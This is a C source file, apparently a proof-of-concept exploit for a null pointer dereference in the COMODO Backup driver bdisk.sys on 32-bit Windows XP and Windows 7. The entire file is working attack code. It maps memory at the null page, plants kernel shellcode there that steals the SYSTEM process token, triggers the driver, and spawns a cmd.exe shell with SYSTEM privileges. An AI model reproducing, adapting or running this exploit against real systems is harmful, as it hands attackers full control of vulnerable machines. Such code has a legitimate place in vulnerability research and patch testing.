#include <stdio.h>
#include <windows.h>
#define BUFSIZE 4096
typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct
#define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct
#define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct
#define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct
BYTE token_steal_xp[] =
{
0x52,
0x53,
0x33,0xc0,
0x64,0x8b,0x80,0x24,0x01,0x00,0x00,
0x8b,0x40,XP_KPROCESS,
0x8b,0xc8,
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,
0x75,0xe8,
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,
0x8b,0xc1,
0x89,0x90,XP_TOKEN,0x00,0x00,0x00,
0x5b,
0x5a,
0xc9,
0xc9,
0xc9,
0xc9,
0xc3
};
BYTE token_steal_w7[] =
{
0x52,
0x53,
0x33,0xc0,
0x64,0x8b,0x80,0x24,0x01,0x00,0x00,
0x8b,0x40,W7_KPROCESS,
0x8b,0xc8,
0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,
0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,
0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,
0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,
0x75,0xe8,
0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,
0x8b,0xc1,
0x89,0x90,W7_TOKEN,0x00,0x00,0x00,
0x5b,
0x5a,
0xc9,
0xc9,
0xc9,
0xc9,
0xc3
};
BYTE ESInull[] = "\x00\x00\x00\x00";
BYTE RETaddr[] = "\x90\x00\x00\x00";
int GetWindowsVersion()
{
int v = 0;
DWORD version = 0, minVersion = 0, majVersion = 0;
version = GetVersion();
minVersion = (DWORD)(HIBYTE(LOWORD(version)));
majVersion = (DWORD)(LOBYTE(LOWORD(version)));
if (minVersion == 1 && majVersion == 5) v = 1;
if (minVersion == 1 && majVersion == 6) v = 2;
return v;
}
void spawnShell()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
return;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main(int argc, char *argv[])
{
_NtAllocateVirtualMemory NtAllocateVirtualMemory;
NTSTATUS allocstatus;
LPVOID base_addr = (LPVOID)0x00000001;
DWORD written;
int rwresult;
int size = BUFSIZE;
HANDLE hDevice;
unsigned char buffer[BUFSIZE];
unsigned char devhandle[MAX_PATH];
printf("-------------------------------------------------------------------------------\n");
printf(" COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit \n");
printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n");
printf("-------------------------------------------------------------------------------\n\n");
sprintf(devhandle, "\\\\.\\%s", "bdisk");
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory)
{
printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
return -1;
}
printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);
printf("[+] Allocating memory at [0x%p]\n", base_addr);
allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocstatus)
{
printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);
printf("Error : %d\n", GetLastError());
return -1;
}
printf("[+] NtAllocateVirtualMemory successful\n");
memset(buffer, 0x90, BUFSIZE);
memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);
memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);
if (GetWindowsVersion() == 1)
{
printf("[i] Running Windows XP\n");
memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));
}
else if (GetWindowsVersion() == 2)
{
printf("[i] Running Windows 7\n");
memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));
}
else if (GetWindowsVersion() == 0)
{
printf("[i] Exploit not supported on this OS\n\n");
return -1;
}
rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);
if (rwresult == 0)
{
printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
return -1;
}
printf("[+] WriteProcessMemory %d bytes written\n", written);
printf("[~] Press any key to Exploit . . .\n");
getch();
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
return -1;
}
else
{
printf("[+] Open %s device successful\n", devhandle);
}
CloseHandle(hDevice);
printf("[+] Spawning SYSTEM Shell\n");
spawnShell();
return 0;
}